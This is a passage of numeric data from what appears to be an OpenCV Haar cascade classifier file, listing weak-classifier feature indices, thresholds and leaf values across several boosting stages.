4.8459240794181824e-01 + <_> + + 0 -1 896 1.5382299898192286e-03 + + 5.1785671710968018e-01 3.4541139006614685e-01 + <_> + + 0 -1 897 -1.4043530449271202e-02 + + 1.6784210503101349e-01 5.1886677742004395e-01 + <_> + + 0 -1 898 1.4315890148282051e-03 + + 4.3682569265365601e-01 5.6557738780975342e-01 + <_> + + 0 -1 899 -3.4014228731393814e-02 + + 7.8022962808609009e-01 4.9592170119285583e-01 + <_> + + 0 -1 900 -1.2027299962937832e-02 + + 1.5851010382175446e-01 5.0322318077087402e-01 + <_> + + 0 -1 901 1.3316619396209717e-01 + + 5.1633048057556152e-01 2.7551281452178955e-01 + <_> + + 0 -1 902 -1.5221949433907866e-03 + + 3.7283179163932800e-01 5.2145522832870483e-01 + <_> + + 0 -1 903 -9.3929271679371595e-04 + + 5.8383792638778687e-01 4.5111650228500366e-01 + <_> + + 0 -1 904 2.7719739824533463e-02 + + 4.7282868623733521e-01 7.3315447568893433e-01 + <_> + + 0 -1 905 3.1030150130391121e-03 + + 5.3022021055221558e-01 4.1015630960464478e-01 + <_> + + 0 -1 906 7.7861219644546509e-02 + + 4.9983340501785278e-01 1.2729619443416595e-01 + <_> + + 0 -1 907 -1.5854939818382263e-02 + + 5.0833359360694885e-02 5.1656562089920044e-01 + <_> + + 0 -1 908 -4.9725300632417202e-03 + + 6.7981338500976562e-01 4.6842318773269653e-01 + <_> + + 0 -1 909 -9.7676506265997887e-04 + + 6.0107719898223877e-01 4.7889319062232971e-01 + <_> + + 0 -1 910 -2.4647710379213095e-03 + + 3.3933979272842407e-01 5.2205038070678711e-01 + <_> + + 0 -1 911 -6.7937700077891350e-03 + + 4.3651369214057922e-01 5.2396631240844727e-01 + <_> + + 0 -1 912 3.2608021050691605e-02 + + 5.0527238845825195e-01 2.4252149462699890e-01 + <_> + + 0 -1 913 -5.8514421107247472e-04 + + 5.7339739799499512e-01 4.7585740685462952e-01 + <_> + + 0 -1 914 -2.9632600024342537e-02 + + 3.8922891020774841e-01 5.2635979652404785e-01 + <_> + 137 + 6.7698921203613281e+01 + + <_> + + 0 -1 915 4.6550851315259933e-02 + + 3.2769501209259033e-01 6.2405228614807129e-01 + <_> + + 0 -1 916 7.9537127166986465e-03 + + 4.2564851045608521e-01 6.9429391622543335e-01 + <_> + + 0 -1 917 6.8221561377868056e-04 + + 3.7114870548248291e-01 5.9007328748703003e-01 + <_> + + 0 -1 918 -1.9348249770700932e-04 + + 2.0411339402198792e-01 5.3005450963973999e-01 + <_> + + 0 -1 919 -2.6710508973337710e-04 + + 5.4161262512207031e-01 3.1031790375709534e-01 + <_> + + 0 -1 920 2.7818060480058193e-03 + + 5.2778327465057373e-01 3.4670698642730713e-01 + <_> + + 0 -1 921 -4.6779078547842801e-04 + + 5.3082311153411865e-01 3.2944920659065247e-01 + <_> + + 0 -1 922 -3.0335160772665404e-05 + + 5.7738727331161499e-01 3.8520970940589905e-01 + <_> + + 0 -1 923 7.8038009814918041e-04 + + 4.3174389004707336e-01 6.1500579118728638e-01 + <_> + + 0 -1 924 -4.2553851380944252e-03 + + 2.9339039325714111e-01 5.3242927789688110e-01 + <_> + + 0 -1 925 -2.4735610350035131e-04 + + 5.4688447713851929e-01 3.8430300354957581e-01 + <_> + + 0 -1 926 -1.4724259381182492e-04 + + 4.2815428972244263e-01 5.7555872201919556e-01 + <_> + + 0 -1 927 1.1864770203828812e-03 + + 3.7473011016845703e-01 5.4714661836624146e-01 + <_> + + 0 -1 928 2.3936580400913954e-03 + + 4.5377838611602783e-01 6.1115288734436035e-01 + <_> + + 0 -1 929 -1.5390539774671197e-03 + + 2.9713419079780579e-01 5.1895380020141602e-01 + <_> + + 0 -1 930 -7.1968790143728256e-03 + + 6.6990667581558228e-01 4.7264769673347473e-01 + <_> + + 0 -1 931 -4.1499789222143590e-04 + + 3.3849540352821350e-01 5.2603179216384888e-01 + <_> + + 0 -1 932 4.4359830208122730e-03 + + 5.3991222381591797e-01 3.9201408624649048e-01 + <_> + + 0 -1 933 2.6606200262904167e-03 + + 4.4825780391693115e-01 6.1196178197860718e-01 + <_> + + 0 -1 934 -1.5287200221791863e-03 + + 3.7112379074096680e-01 5.3402662277221680e-01 + <_> + + 0 -1 935 -4.7397250309586525e-03 + + 6.0310882329940796e-01 4.4551450014114380e-01 + <_> + + 0 -1 936 -1.4829129911959171e-02 + + 2.8387540578842163e-01 5.3418618440628052e-01 + <_> + + 0 -1 937 9.2275557108223438e-04 + + 5.2095472812652588e-01 3.3616539835929871e-01 + <_> + + 0 -1 938 8.3529807627201080e-02 + + 5.1199698448181152e-01 8.1164449453353882e-02 + <_> + + 0 -1 939 -7.5633148662745953e-04 + + 3.3171200752258301e-01 5.1898312568664551e-01 + <_> + + 0 -1 940 9.8403859883546829e-03 + + 5.2475982904434204e-01 2.3349590599536896e-01 + <_> + + 0 -1 941 -1.5953830443322659e-03 + + 5.7500940561294556e-01 4.2956221103668213e-01 + <_> + + 0 -1 942 3.4766020689858124e-05 + + 4.3424451351165771e-01 5.5640292167663574e-01 + <_> + + 0 -1 943 2.9862910509109497e-02 + + 4.5791471004486084e-01 6.5791881084442139e-01 + <_> + + 0 -1 944 1.1325590312480927e-02 + + 5.2743119001388550e-01 3.6738881468772888e-01 + <_> + + 0 -1 945 -8.7828645482659340e-03 + + 7.1003687381744385e-01 4.6421670913696289e-01 + <_> + + 0 -1 946 4.3639959767460823e-03 + + 5.2792161703109741e-01 2.7058771252632141e-01 + <_> + + 0 -1 947 4.1804728098213673e-03 + + 5.0725251436233521e-01 2.4490830302238464e-01 + <_> + + 0 -1 948 -4.5668511302210391e-04 + + 4.2831051349639893e-01 5.5486911535263062e-01 + <_> + + 0 -1 949 -3.7140368949621916e-03 + + 5.5193877220153809e-01 4.1036531329154968e-01 + <_> + + 0 -1 950 -2.5304289534687996e-02 + + 6.8670022487640381e-01 4.8698890209197998e-01 + <_> + + 0 -1 951 -3.4454080741852522e-04 + + 3.7288740277290344e-01 5.2876931428909302e-01 + <_> + + 0 -1 952 -8.3935231668874621e-04 + + 6.0601520538330078e-01 4.6160620450973511e-01 + <_> + + 0 -1 953 1.7280049622058868e-02 + + 5.0496357679367065e-01 1.8198239803314209e-01 + <_> + + 0 -1 954 -6.3595077954232693e-03 + + 1.6312399506568909e-01 5.2327787876129150e-01 + <_> + + 0 -1 955 1.0298109846189618e-03 + + 4.4632780551910400e-01 6.1765491962432861e-01 + <_> + + 0 -1 956 1.0117109632119536e-03 + + 5.4733848571777344e-01 4.3006989359855652e-01 + <_> + + 0 -1 957 -1.0308800265192986e-02 + + 1.1669850349426270e-01 5.0008672475814819e-01 + <_> + + 0 -1 958 5.4682018235325813e-03 + + 4.7692871093750000e-01 6.7192137241363525e-01 + <_> + + 0 -1 959 -9.1696460731327534e-04 + + 3.4710898995399475e-01 5.1781648397445679e-01 + <_> + + 0 -1 960 2.3922820109874010e-03 + + 4.7852361202239990e-01 6.2163108587265015e-01 + <_> + + 0 -1 961 -7.5573818758130074e-03 + + 5.8147960901260376e-01 4.4100850820541382e-01 + <_> + + 0 -1 962 -7.7024032361805439e-04 + + 3.8780000805854797e-01 5.4657220840454102e-01 + <_> + + 0 -1 963 -8.7125990539789200e-03 + + 1.6600510478019714e-01 4.9958360195159912e-01 + <_> + + 0 -1 964 -1.0306320153176785e-02 + + 4.0933910012245178e-01 5.2742338180541992e-01 + <_> + + 0 -1 965 -2.0940979011356831e-03 + + 6.2061947584152222e-01 4.5722800493240356e-01 + <_> + + 0 -1 966 6.8099051713943481e-03 + + 5.5677592754364014e-01 4.1556000709533691e-01 + <_> + + 0 -1 967 -1.0746059706434608e-03 + + 5.6389278173446655e-01 4.3530249595642090e-01 + <_> + + 0 -1 968 2.1550289820879698e-03 + + 4.8262658715248108e-01 6.7497581243515015e-01 + <_> + + 0 -1 969 3.1742319464683533e-02 + + 5.0483798980712891e-01 1.8832489848136902e-01 + <_> + + 0 -1 970 -7.8382723033428192e-02 + + 2.3695489764213562e-01 5.2601581811904907e-01 + <_> + + 0 -1 971 5.7415119372308254e-03 + + 5.0488287210464478e-01 2.7764698863029480e-01 + <_> + + 0 -1 972 -2.9014600440859795e-03 + + 6.2386047840118408e-01 4.6933171153068542e-01 + <_> + + 0 -1 973 -2.6427931152284145e-03 + + 3.3141419291496277e-01 5.1697772741317749e-01 + <_> + + 0 -1 974 -1.0949660092592239e-01 + + 2.3800450563430786e-01 5.1834410429000854e-01 + <_> + + 0 -1 975 7.4075913289561868e-05 + + 4.0696358680725098e-01 5.3621500730514526e-01 + <_> + + 0 -1 976 -5.0593802006915212e-04 + + 5.5067062377929688e-01 4.3745940923690796e-01 + <_> + + 0 -1 977 -8.2131777890026569e-04 + + 5.5257099866867065e-01 4.2093759775161743e-01 + <_> + + 0 -1 978 -6.0276539443293586e-05 + + 5.4554748535156250e-01 4.7482660412788391e-01 + <_> + + 0 -1 979 6.8065142259001732e-03 + + 5.1579958200454712e-01 3.4245771169662476e-01 + <_> + + 0 -1 980 1.7202789895236492e-03 + + 5.0132077932357788e-01 6.3312637805938721e-01 + <_> + + 0 -1 981 -1.3016929733566940e-04 + + 5.5397182703018188e-01 4.2268699407577515e-01 + <_> + + 0 -1 982 -4.8016388900578022e-03 + + 4.4250950217247009e-01 5.4307800531387329e-01 + <_> + + 0 -1 983 -2.5399310979992151e-03 + + 7.1457821130752563e-01 4.6976050734519958e-01 + <_> + + 0 -1 984 -1.4278929447755218e-03 + + 4.0704450011253357e-01 5.3996050357818604e-01 + <_> + + 0 -1 985 -2.5142550468444824e-02 + + 7.8846907615661621e-01 4.7473520040512085e-01 + <_> + + 0 -1 986 -3.8899609353393316e-03 + + 4.2961919307708740e-01 5.5771100521087646e-01 + <_> + + 0 -1 987 4.3947459198534489e-03 + + 4.6931621432304382e-01 7.0239442586898804e-01 + <_> + + 0 -1 988 2.4678420275449753e-02 + + 5.2423220872879028e-01 3.8125100731849670e-01 + <_> + + 0 -1 989 3.8047678768634796e-02 + + 5.0117397308349609e-01 1.6878280043601990e-01 + <_> + + 0 -1 990 7.9424865543842316e-03 + + 4.8285821080207825e-01 6.3695681095123291e-01 + <_> + + 0 -1 991 -1.5110049862414598e-03 + + 5.9064859151840210e-01 4.4876679778099060e-01 + <_> + + 0 -1 992 6.4201741479337215e-03 + + 5.2410978078842163e-01 2.9905700683593750e-01 + <_> + + 0 -1 993 -2.9802159406244755e-03 + + 3.0414658784866333e-01 5.0784897804260254e-01 + <_> + + 0 -1 994 -7.4580078944563866e-04 + + 4.1281390190124512e-01 5.2568262815475464e-01 + <_> + + 0 -1 995 -1.0470950044691563e-02 + + 5.8083951473236084e-01 4.4942960143089294e-01 + <_> + + 0 -1 996 9.3369204550981522e-03 + + 5.2465528249740601e-01 2.6589488983154297e-01 + <_> + + 0 -1 997 2.7936900034546852e-02 + + 4.6749550104141235e-01 7.0872569084167480e-01 + <_> + + 0 -1 998 7.4277678504586220e-03 + + 5.4094868898391724e-01 3.7585180997848511e-01 + <_> + + 0 -1 999 -2.3584509268403053e-02 + + 3.7586399912834167e-01 5.2385509014129639e-01 + <_> + + 0 -1 1000 1.1452640173956752e-03 + + 4.3295788764953613e-01 5.8042472600936890e-01 + <_> + + 0 -1 1001 -4.3468660442158580e-04 + + 5.2806180715560913e-01 3.8730698823928833e-01 + <_> + + 0 -1 1002 1.0648540221154690e-02 + + 4.9021130800247192e-01 5.6812518835067749e-01 + <_> + + 0 -1 1003 -3.9418050437234342e-04 + + 5.5708801746368408e-01 4.3182510137557983e-01 + <_> + + 0 -1 1004 -1.3270479394122958e-04 + + 5.6584399938583374e-01 4.3435549736022949e-01 + <_> + + 0 -1 1005 -2.0125510636717081e-03 + + 6.0567390918731689e-01 4.5375239849090576e-01 + <_> + + 0 -1 1006 2.4854319635778666e-03 + + 5.3904771804809570e-01 4.1380101442337036e-01 + <_> + + 0 -1 1007 1.8237880431115627e-03 + + 4.3548288941383362e-01 5.7171887159347534e-01 + <_> + + 0 -1 1008 -1.6656659543514252e-02 + + 3.0109131336212158e-01 5.2161228656768799e-01 + <_> + + 0 -1 1009 8.0349558265879750e-04 + + 5.3001511096954346e-01 3.8183969259262085e-01 + <_> + + 0 -1 1010 3.4170378930866718e-03 + + 5.3280287981033325e-01 4.2414000630378723e-01 + <_> + + 0 -1 1011 -3.6222729249857366e-04 + + 5.4917281866073608e-01 4.1869771480560303e-01 + <_> + + 0 -1 1012 -1.1630020290613174e-01 + + 1.4407220482826233e-01 5.2264511585235596e-01 + <_> + + 0 -1 1013 -1.4695010147988796e-02 + + 7.7477252483367920e-01 4.7157171368598938e-01 + <_> + + 0 -1 1014 2.1972130052745342e-03 + + 5.3554338216781616e-01 3.3156448602676392e-01 + <_> + + 0 -1 1015 -4.6965209185145795e-04 + + 5.7672351598739624e-01 4.4581368565559387e-01 + <_> + + 0 -1 1016 6.5144998952746391e-03 + + 5.2156740427017212e-01 3.6478888988494873e-01 + <_> + + 0 -1 1017 2.1300060674548149e-02 + + 4.9942049384117126e-01 1.5679509937763214e-01 + <_> + + 0 -1 1018 3.1881409231573343e-03 + + 4.7422000765800476e-01 6.2872701883316040e-01 + <_> + + 0 -1 1019 9.0019777417182922e-04 + + 5.3479540348052979e-01 3.9437520503997803e-01 + <_> + + 0 -1 1020 -5.1772277802228928e-03 + + 6.7271918058395386e-01 5.0131380558013916e-01 + <_> + + 0 -1 1021 -4.3764649890363216e-03 + + 3.1066751480102539e-01 5.1287931203842163e-01 + <_> + + 0 -1 1022 2.6299960445612669e-03 + + 4.8863101005554199e-01 5.7552158832550049e-01 + <_> + + 0 -1 1023 -2.0458688959479332e-03 + + 6.0257941484451294e-01 4.5580768585205078e-01 + <_> + + 0 -1 1024 6.9482706487178802e-02 + + 5.2407479286193848e-01 2.1852590143680573e-01 + <_> + + 0 -1 1025 2.4048939347267151e-02 + + 5.0118672847747803e-01 2.0906220376491547e-01 + <_> + + 0 -1 1026 3.1095340382307768e-03 + + 4.8667120933532715e-01 7.1085482835769653e-01 + <_> + + 0 -1 1027 -1.2503260513767600e-03 + + 3.4078910946846008e-01 5.1561951637268066e-01 + <_> + + 0 -1 1028 -1.0281190043315291e-03 + + 5.5755722522735596e-01 4.4394320249557495e-01 + <_> + + 0 -1 1029 -8.8893622159957886e-03 + + 6.4020007848739624e-01 4.6204420924186707e-01 + <_> + + 0 -1 1030 -6.1094801640138030e-04 + + 3.7664419412612915e-01 5.4488998651504517e-01 + <_> + + 0 -1 1031 -5.7686357758939266e-03 + + 3.3186489343643188e-01 5.1336771249771118e-01 + <_> + + 0 -1 1032 1.8506490159779787e-03 + + 4.9035701155662537e-01 6.4069348573684692e-01 + <_> + + 0 -1 1033 -9.9799469113349915e-02 + + 1.5360510349273682e-01 5.0155621767044067e-01 + <_> + + 0 -1 1034 -3.5128349065780640e-01 + + 5.8823131024837494e-02 5.1743787527084351e-01 + <_> + + 0 -1 1035 -4.5244570821523666e-02 + + 6.9614887237548828e-01 4.6778729557991028e-01 + <_> + + 0 -1 1036 7.1481578052043915e-02 + + 5.1679861545562744e-01 1.0380929708480835e-01 + <_> + + 0 -1 1037 2.1895780228078365e-03 + + 4.2730781435966492e-01 5.5320608615875244e-01 + <_> + + 0 -1 1038 -5.9242651332169771e-04 + + 4.6389439702033997e-01 5.2763891220092773e-01 + <_> + + 0 -1 1039 1.6788389766588807e-03 + + 5.3016489744186401e-01 3.9320349693298340e-01 + <_> + + 0 -1 1040 -2.2163488902151585e-03 + + 5.6306940317153931e-01 4.7570338845252991e-01 + <_> + + 0 -1 1041 1.1568699846975505e-04 + + 4.3075358867645264e-01 5.5357027053833008e-01 + <_> + + 0 -1 1042 -7.2017288766801357e-03 + + 1.4448820054531097e-01 5.1930642127990723e-01 + <_> + + 0 -1 1043 8.9081272017210722e-04 + + 4.3844321370124817e-01 5.5936211347579956e-01 + <_> + + 0 -1 1044 1.9605009583756328e-04 + + 5.3404158353805542e-01 4.7059568762779236e-01 + <_> + + 0 -1 1045 5.2022142335772514e-04 + + 5.2138561010360718e-01 3.8100790977478027e-01 + <_> + + 0 -1 1046 9.4588572392240167e-04 + + 4.7694149613380432e-01 6.1307388544082642e-01 + <_> + + 0 -1 1047 9.1698471806012094e-05 + + 4.2450091242790222e-01 5.4293632507324219e-01 + <_> + + 0 -1 1048 2.1833200007677078e-03 + + 5.4577308893203735e-01 4.1910758614540100e-01 + <_> + + 0 -1 1049 -8.6039671441540122e-04 + + 5.7645887136459351e-01 4.4716599583625793e-01 + <_> + + 0 -1 1050 -1.3236239552497864e-02 + + 6.3728231191635132e-01 4.6950098872184753e-01 + <_> + + 0 -1 1051 4.3376701069064438e-04 + + 5.3178739547729492e-01 3.9458298683166504e-01 + <_> + 140 + 6.9229873657226562e+01 + + <_> + + 0 -1 1052 -2.4847149848937988e-02 + + 6.5555167198181152e-01 3.8733118772506714e-01 + <_> + + 0 -1 1053 6.1348611488938332e-03 + + 3.7480720877647400e-01 5.9739977121353149e-01 + <_> + + 0 -1 1054 6.4498498104512691e-03 + + 5.4254919290542603e-01 2.5488111376762390e-01 + <_> + + 0 -1 1055 6.3491211039945483e-04 + + 2.4624420702457428e-01 5.3872537612915039e-01 + <_> + + 0 -1 1056 1.4023890253156424e-03 + + 5.5943220853805542e-01 3.5286578536033630e-01 + <_> + + 0 -1 1057 3.0044000595808029e-04 + + 3.9585039019584656e-01 5.7659381628036499e-01 + <_> + + 0 -1 1058 1.0042409849120304e-04 + + 3.6989969015121460e-01 5.5349981784820557e-01 + <_> + + 0 -1 1059 -5.0841490738093853e-03 + + 3.7110909819602966e-01 5.5478000640869141e-01 + <_> + + 0 -1 1060 -1.9537260755896568e-02 + + 7.4927550554275513e-01 4.5792970061302185e-01 + <_> + + 0 -1 1061 -7.4532740654831287e-06 + + 5.6497871875762939e-01 3.9040699601173401e-01 + <_> + + 0 -1 1062 -3.6079459823668003e-03 + + 3.3810880780220032e-01 5.2678012847900391e-01 + <_> + + 0 -1 1063 2.0697501022368670e-03 + + 5.5192911624908447e-01 3.7143889069557190e-01 + <_> + + 0 -1 1064 -4.6463840408250690e-04 + + 5.6082147359848022e-01 4.1135668754577637e-01 + <_> + + 0 -1 1065 7.5490452582016587e-04 + + 3.5592061281204224e-01 5.3293561935424805e-01 + <_> + + 0 -1 1066 -9.8322238773107529e-04 + + 5.4147958755493164e-01 3.7632051110267639e-01 + <_> + + 0 -1 1067 -1.9940640777349472e-02 + + 6.3479030132293701e-01 4.7052991390228271e-01 + <_> + + 0 -1 1068 3.7680300883948803e-03 + + 3.9134898781776428e-01 5.5637162923812866e-01 + <_> + + 0 -1 1069 -9.4528505578637123e-03 + + 2.5548928976058960e-01 5.2151167392730713e-01 + <_> + + 0 -1 1070 2.9560849070549011e-03 + + 5.1746791601181030e-01 3.0639201402664185e-01 + <_> + + 0 -1 1071 9.1078737750649452e-03 + + 5.3884482383728027e-01 2.8859630227088928e-01 + <_> + + 0 -1 1072 1.8219229532405734e-03 + + 4.3360430002212524e-01 5.8521968126296997e-01 + <_> + + 0 -1 1073 1.4688739553093910e-02 + + 5.2873617410659790e-01 2.8700059652328491e-01 + <_> + + 0 -1 1074 -1.4387990348041058e-02 + + 7.0194488763809204e-01 4.6473708748817444e-01 + <_> + + 0 -1 1075 -1.8986649811267853e-02 + + 2.9865521192550659e-01 5.2470117807388306e-01 + <_> + + 0 -1 1076 1.1527639580890536e-03 + + 4.3234738707542419e-01 5.9316617250442505e-01 + <_> + + 0 -1 1077 1.0933670215308666e-02 + + 5.2868640422821045e-01 3.1303191184997559e-01 + <_> + + 0 -1 1078 -1.4932730235159397e-02 + + 2.6584190130233765e-01 5.0840771198272705e-01 + <_> + + 0 -1 1079 -2.9970539617352188e-04 + + 5.4635268449783325e-01 3.7407240271568298e-01 + <_> + + 0 -1 1080 4.1677621193230152e-03 + + 4.7034969925880432e-01 7.4357217550277710e-01 + <_> + + 0 -1 1081 -6.3905320130288601e-03 + + 2.0692589879035950e-01 5.2805382013320923e-01 + <_> + + 0 -1 1082 4.5029609464108944e-03 + + 5.1826488971710205e-01 3.4835430979728699e-01 + <_> + + 0 -1 1083 -9.2040365561842918e-03 + + 6.8037772178649902e-01 4.9323600530624390e-01 + <_> + + 0 -1 1084 8.1327259540557861e-02 + + 5.0583988428115845e-01 2.2530519962310791e-01 + <_> + + 0 -1 1085 -1.5079280734062195e-01 + + 2.9634249210357666e-01 5.2646797895431519e-01 + <_> + + 0 -1 1086 3.3179009333252907e-03 + + 4.6554958820343018e-01 7.0729321241378784e-01 + <_> + + 0 -1 1087 7.7402801252901554e-04 + + 4.7803479433059692e-01 5.6682378053665161e-01 + <_> + + 0 -1 1088 6.8199541419744492e-04 + + 4.2869961261749268e-01 5.7221567630767822e-01 + <_> + + 0 -1 1089 5.3671570494771004e-03 + + 5.2993071079254150e-01 3.1146219372749329e-01 + <_> + + 0 -1 1090 9.7018666565418243e-05 + + 3.6746388673782349e-01 5.2694618701934814e-01 + <_> + + 0 -1 1091 -1.2534089386463165e-01 + + 2.3514920473098755e-01 5.2457910776138306e-01 + <_> + + 0 -1 1092 -5.2516269497573376e-03 + + 7.1159368753433228e-01 4.6937671303749084e-01 + <_> + + 0 -1 1093 -7.8342109918594360e-03 + + 4.4626510143280029e-01 5.4090857505798340e-01 + <_> + + 0 -1 1094 -1.1310069821774960e-03 + + 5.9456187486648560e-01 4.4176620244979858e-01 + <_> + + 0 -1 1095 1.7601120052859187e-03 + + 5.3532499074935913e-01 3.9734530448913574e-01 + <_> + + 0 -1 1096 -8.1581249833106995e-04 + + 3.7602680921554565e-01 5.2647268772125244e-01 + <_> + + 0 -1 1097 -3.8687589112669230e-03 + + 6.3099128007888794e-01 4.7498199343681335e-01 + <_> + + 0 -1 1098 1.5207129763439298e-03 + + 5.2301818132400513e-01 3.3612239360809326e-01 + <_> + + 0 -1 1099 5.4586738348007202e-01 + + 5.1671397686004639e-01 1.1726350337266922e-01 + <_> + + 0 -1 1100 1.5650190412998199e-02 + + 4.9794390797615051e-01 1.3932949304580688e-01 + <_> + + 0 -1 1101 -1.1731860227882862e-02 + + 7.1296507120132446e-01 4.9211961030960083e-01 + <_> + + 0 -1 1102 -6.1765122227370739e-03 + + 2.2881029546260834e-01 5.0497019290924072e-01 + <_> + + 0 -1 1103 2.2457661107182503e-03 + + 4.6324339509010315e-01 6.0487258434295654e-01 + <_> + + 0 -1 1104 -5.1915869116783142e-03 + + 6.4674210548400879e-01 4.6021929383277893e-01 + <_> + + 0 -1 1105 -2.3827880620956421e-02 + + 1.4820009469985962e-01 5.2260792255401611e-01 + <_> + + 0 -1 1106 1.0284580057486892e-03 + + 5.1354891061782837e-01 3.3759570121765137e-01 + <_> + + 0 -1 1107 -1.0078850202262402e-02 + + 2.7405610680580139e-01 5.3035670518875122e-01 + <_> + + 0 -1 1108 2.6168930344283581e-03 + + 5.3326708078384399e-01 3.9724540710449219e-01 + <_> + + 0 -1 1109 5.4385367548093200e-04 + + 5.3656041622161865e-01 4.0634119510650635e-01 + <_> + + 0 -1 1110 5.3510512225329876e-03 + + 4.6537590026855469e-01 6.8890458345413208e-01 + <_> + + 0 -1 1111 -1.5274790348485112e-03 + + 5.4495012760162354e-01 3.6247238516807556e-01 + <_> + + 0 -1 1112 -8.0624416470527649e-02 + + 1.6560870409011841e-01 5.0002872943878174e-01 + <_> + + 0 -1 1113 2.2192029282450676e-02 + + 5.1327311992645264e-01 2.0028080046176910e-01 + <_> + + 0 -1 1114 7.3100631125271320e-03 + + 4.6179479360580444e-01 6.3665360212326050e-01 + <_> + + 0 -1 1115 -6.4063072204589844e-03 + + 5.9162509441375732e-01 4.8678609728813171e-01 + <_> + + 0 -1 1116 -7.6415040530264378e-04 + + 3.8884091377258301e-01 5.3157979249954224e-01 + <_> + + 0 -1 1117 7.6734489994123578e-04 + + 4.1590648889541626e-01 5.6052798032760620e-01 + <_> + + 0 -1 1118 6.1474501853808761e-04 + + 3.0890220403671265e-01 5.1201480627059937e-01 + <_> + + 0 -1 1119 -5.0105270929634571e-03 + + 3.9721998572349548e-01 5.2073061466217041e-01 + <_> + + 0 -1 1120 -8.6909132078289986e-03 + + 6.2574082612991333e-01 4.6085759997367859e-01 + <_> + + 0 -1 1121 -1.6391459852457047e-02 + + 2.0852099359035492e-01 5.2422660589218140e-01 + <_> + + 0 -1 1122 4.0973909199237823e-04 + + 5.2224272489547729e-01 3.7803208827972412e-01 + <_> + + 0 -1 1123 -2.5242289993911982e-03 + + 5.8039271831512451e-01 4.6118900179862976e-01 + <_> + + 0 -1 1124 5.0945312250405550e-04 + + 4.4012719392776489e-01 5.8460158109664917e-01 + <_> + + 0 -1 1125 1.9656419754028320e-03 + + 5.3223252296447754e-01 4.1845908761024475e-01 + <_> + + 0 -1 1126 5.6298897834494710e-04 + + 3.7418448925018311e-01 5.2345657348632812e-01 + <_> + + 0 -1 1127 -6.7946797935292125e-04 + + 4.6310418844223022e-01 5.3564780950546265e-01 + <_> + + 0 -1 1128 7.2856349870562553e-03 + + 5.0446701049804688e-01 2.3775640130043030e-01 + <_> + + 0 -1 1129 -1.7459489405155182e-02 + + 7.2891211509704590e-01 5.0504350662231445e-01 + <_> + + 0 -1 1130 -2.5421749800443649e-02 + + 6.6671347618103027e-01 4.6781000494956970e-01 + <_> + + 0 -1 1131 -1.5647639520466328e-03 + + 4.3917590379714966e-01 5.3236269950866699e-01 + <_> + + 0 -1 1132 1.1444360017776489e-02 + + 4.3464401364326477e-01 5.6800121068954468e-01 + <_> + + 0 -1 1133 -6.7352550104260445e-04 + + 4.4771409034729004e-01 5.2968120574951172e-01 + <_> + + 0 -1 1134 9.3194209039211273e-03 + + 4.7402000427246094e-01 7.4626070261001587e-01 + <_> + + 0 -1 1135 1.3328490604180843e-04 + + 5.3650617599487305e-01 4.7521349787712097e-01 + <_> + + 0 -1 1136 -7.8815799206495285e-03 + + 1.7522190511226654e-01 5.0152552127838135e-01 + <_> + + 0 -1 1137 -5.7985680177807808e-03 + + 7.2712367773056030e-01 4.8962008953094482e-01 + <_> + + 0 -1 1138 -3.8922499516047537e-04 + + 4.0039089322090149e-01 5.3449410200119019e-01 + <_> + + 0 -1 1139 -1.9288610201328993e-03 + + 5.6056129932403564e-01 4.8039558529853821e-01 + <_> + + 0 -1 1140 8.4214154630899429e-03 + + 4.7532469034194946e-01 7.6236087083816528e-01 + <_> + + 0 -1 1141 8.1655876711010933e-03 + + 5.3932619094848633e-01 4.1916438937187195e-01 + <_> + + 0 -1 1142 4.8280550981871784e-04 + + 4.2408001422882080e-01 5.3998219966888428e-01 + <_> + + 0 -1 1143 -2.7186630759388208e-03 + + 4.2445999383926392e-01 5.4249238967895508e-01 + <_> + + 0 -1 1144 -1.2507230043411255e-02 + + 5.8958417177200317e-01 4.5504111051559448e-01 + <_> + + 0 -1 1145 -2.4286519736051559e-02 + + 2.6471349596977234e-01 5.1891797780990601e-01 + <_> + + 0 -1 1146 -2.9676330741494894e-03 + + 7.3476827144622803e-01 4.7497498989105225e-01 + <_> + + 0 -1 1147 -1.2528999708592892e-02 + + 2.7560499310493469e-01 5.1775997877120972e-01 + <_> + + 0 -1 1148 -1.0104000102728605e-03 + + 3.5105609893798828e-01 5.1447242498397827e-01 + <_> + + 0 -1 1149 -2.1348530426621437e-03 + + 5.6379258632659912e-01 4.6673199534416199e-01 + <_> + + 0 -1 1150 1.9564259797334671e-02 + + 4.6145731210708618e-01 6.1376398801803589e-01 + <_> + + 0 -1 1151 -9.7146347165107727e-02 + + 2.9983788728713989e-01 5.1935559511184692e-01 + <_> + + 0 -1 1152 4.5014568604528904e-03 + + 5.0778847932815552e-01 3.0457559227943420e-01 + <_> + + 0 -1 1153 6.3706971704959869e-03 + + 4.8610189557075500e-01 6.8875008821487427e-01 + <_> + + 0 -1 1154 -9.0721528977155685e-03 + + 1.6733959317207336e-01 5.0175631046295166e-01 + <_> + + 0 -1 1155 -5.3537208586931229e-03 + + 2.6927569508552551e-01 5.2426332235336304e-01 + <_> + + 0 -1 1156 -1.0932840406894684e-02 + + 7.1838641166687012e-01 4.7360289096832275e-01 + <_> + + 0 -1 1157 8.2356072962284088e-03 + + 5.2239668369293213e-01 2.3898629844188690e-01 + <_> + + 0 -1 1158 -1.0038160253316164e-03 + + 5.7193559408187866e-01 4.4339430332183838e-01 + <_> + + 0 -1 1159 4.0859128348529339e-03 + + 5.4728418588638306e-01 4.1488361358642578e-01 + <_> + + 0 -1 1160 1.5485419332981110e-01 + + 4.9738121032714844e-01 6.1061598360538483e-02 + <_> + + 0 -1 1161 2.0897459762636572e-04 + + 4.7091740369796753e-01 5.4238891601562500e-01 + <_> + + 0 -1 1162 3.3316991175524890e-04 + + 4.0896269679069519e-01 5.3009921312332153e-01 + <_> + + 0 -1 1163 -1.0813400149345398e-02 + + 6.1043697595596313e-01 4.9573341012001038e-01 + <_> + + 0 -1 1164 4.5656010508537292e-02 + + 5.0696891546249390e-01 2.8666600584983826e-01 + <_> + + 0 -1 1165 1.2569549726322293e-03 + + 4.8469170928001404e-01 6.3181710243225098e-01 + <_> + + 0 -1 1166 -1.2015070021152496e-01 + + 6.0526140034198761e-02 4.9809598922729492e-01 + <_> + + 0 -1 1167 -1.0533799650147557e-04 + + 5.3631097078323364e-01 4.7080421447753906e-01 + <_> + + 0 -1 1168 -2.0703190565109253e-01 + + 5.9660330414772034e-02 4.9790981411933899e-01 + <_> + + 0 -1 1169 1.2909180077258497e-04 + + 4.7129771113395691e-01 5.3779977560043335e-01 + <_> + + 0 -1 1170 3.8818528992123902e-04 + + 4.3635380268096924e-01 5.5341911315917969e-01 + <_> + + 0 -1 1171 -2.9243610333651304e-03 + + 5.8111858367919922e-01 